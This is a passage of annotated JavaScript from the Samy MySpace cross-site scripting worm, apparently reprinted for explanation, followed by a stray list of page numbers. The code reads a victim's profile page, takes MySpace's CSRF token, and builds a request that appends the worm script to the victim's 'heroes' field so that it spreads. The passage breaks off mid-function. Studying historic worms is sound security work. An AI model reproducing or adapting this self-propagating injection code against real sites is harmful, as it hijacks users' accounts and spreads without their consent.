function analyzeVictimsProfile() {
// Standard XMLHttpRequest check to ensure that the HTTP request is
// complete.
if (xmlHttpRequest.readyState != 4) {
return;
}
// Grab the victim's "Heros" section of their main page.
var htmlBody = xmlHttpRequest.responseText;
heroString = subStringBetweenTwoStrings(htmlBody, 'P' + 'rofileHeroes',
'');
heroString = heroString.substring(61, heroString.length);
// Check if "samy" is already in the victim's hero list. Only add the worm
// if it's not already there.
if (heroString.indexOf('samy') == -1) {
if (heroCommentWithWorm) {
// take the user's original hero string and add "but most of all,
// samy is my hero.", the script injection and the attack code.
heroString += heroCommentWithWorm;
// grab the victim's Mytoken. Mytoken is MySpace's CSRF protection
// token and is required to make client state change requests.
var myToken = getParameterFromString(htmlBody, 'Mytoken');
// Create the request to add samy as the victim's hero and most
// importantly inject this script into the victim's page.
var queryParameterArray = new Array();
queryParameterArray['interestLabel'] = 'heroes';
queryParameterArray['submit'] = 'Preview';
queryParameterArray['interest'] = heroString;
xmlHttpRequest = getXMLObj();
// Make the request to preview the change.
Pages:
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147